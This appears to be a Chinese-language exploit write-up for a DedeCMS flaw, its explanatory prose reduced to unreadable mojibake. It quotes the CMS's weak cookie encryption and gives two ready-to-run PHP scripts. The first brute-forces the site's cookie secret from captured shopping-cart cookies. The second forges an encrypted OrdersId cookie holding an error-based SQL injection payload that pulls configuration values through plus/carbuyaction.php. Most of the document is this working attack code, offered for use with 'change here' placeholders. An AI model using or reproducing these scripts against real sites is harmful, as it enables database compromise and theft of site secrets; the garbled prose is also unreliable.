֯CMS©dedecms©SQLע©
www.xxx.com/plus/search.php?keyword=include/shopcar.class.php
ȿһshopcarcookie
239 function saveCookie($key,$value)
240 {
241 if(is_array($value))
242 {
243 $value = $this->enCrypt($this->enCode($value));
244 }
245 else
246 {
247 $value = $this->enCrypt($value);
248 }
249 setcookie($key,$value,time()+36000,/');
250 }
˵$keycookiekeyvaluevalueenCodeǽarrayתΪa=yy&b=cc&d=knowͣؼenCrypt
186 function enCrypt($txt)
187 {
188 srand((double)microtime() * 1000000);
189 $encrypt_key = md5(rand(0, 32000));
190 $ctr = 0;
191 $tmp = ;
192 for($i = 0; $i < strlen($txt); $i++)
193 {
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
196 }
197 return base64_encode($this->setKey($tmp));
198 }
213 function setKey($txt)
214 {
215 global $cfg_cookie_encode;
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
217 $ctr = 0;
218 $tmp = ;
219 for($i = 0; $i < strlen($txt); $i++)
220 {
221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
223 }
224 return $tmp;
225 }
enCryptIJ$txt ǿ֪ģֵcookieֵҲǿ֪
ȻenCrypt setKeyʱIJ$tmpijϣҲǿ֪ģΪ$encrypt_key = md5(rand(0, 32000));ֻ32000ֿܣǿƳ32000ֿܵ$tmpӶƳ32000ֿܵmd5(strtolower($cfg_cookie_encode))ˣ˵ˣǵĿƲsetKey$encrypt_keyֵȻﳵcookieƳ32000md5(strtolower($cfg_cookie_encode))˵ĸֵkeyֻʣ¼ٸܵkeyȻٴһζȻٻȡٸܵkeyȻȡõkey
£
<?php
$cookie1 = X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==; // here is the first cookie,change here
$cookie2 = ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==; // here is the second cookie ,change here
$plantxt = id=2&price=0&units=fun&buynum=1&title=naduohua1; // here is the text , change here
function reStrCode($code,$string)
{
$code = base64_decode($code);
$key = ;
for($i=0 ; $i<32 ; $i++)
{
$key .= $string[$i] ^ $code[$i];
}
return $key;
}
function getKeys($cookie,$plantxt)
{
$tmp = $cookie;
$results = array();
for($j=0 ; $j < 32000; $j++)
{
$txt = $plantxt;
$ctr = 0;
$tmp = ;
$encrypt_key = md5($j);
for($i =0; $i < strlen($txt); $i ++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
}
$string = $tmp;
$code = $cookie;
$result = reStrCode($code,$string);
if(eregi(^+$,$result))
{
echo $result.\n;
$results[] = $result;
}
}
return $results;
}
$results1 = getKeys($cookie1,$plantxt);
$results2 = getKeys($cookie2,$plantxt);
print \nCreal keyC\n;
foreach($results1 as $test1)
{
foreach($results2 as $test2)
{
if($test1 == $test2)
{
echo $test1.\n;
}
}
}
?>
cookie1 cookie2 ζֱɵcookie
plantxtԸҳԼ㣬žʽid=2&price=0&units=fun&buynum=1&title=naduohua1
Ȼmd5(strtolower($cfg_cookie_encode))
õkey֮ǾͿԹﳵcookie
ſ
20class MemberShops
21{
22 var $OrdersId;
23 var $productsId;
24
25 function __construct()
26 {
27 $this->OrdersId = $this->getCookie(OrdersId);
28 if(empty($this->OrdersId))
29 {
30 $this->OrdersId = $this->MakeOrders();
31 }
32 }
OrderIdǴcookieȡ
Ȼ
/plus/carbuyaction.phpе
29 $cart = new MemberShops();
39 $OrdersId = $cart->OrdersId; //μ¼Ķ
173 $rows = $dsql->GetOne(SELECT `oid` FROM #@__shops_orders WHERE oid=$OrdersId LIMIT 0,1);
ǾͿע
ͨcookie
<?php
$txt = 1 or 1=@`\` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\` or 1=1;
$encrypt_key = 9f09293b7419ed68448fb51d5b174834; // here is the key, please change here
function setKey($txt)
{
global $encrypt_key;
$ctr = 0;
$tmp = ;
for($i = 0; $i < strlen($txt); $i++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
function enCrypt($txt)
{
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0, 32000));
$ctr = 0;
$tmp = ;
for($i = 0; $i < strlen($txt); $i++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
}
return base64_encode(setKey($tmp));
}
for($dest =0;$dest = enCrypt($txt);)
{
if(!strpos($dest,+'))
{
break;
}
}
echo $dest.\n;
?>
ҳ:
[1]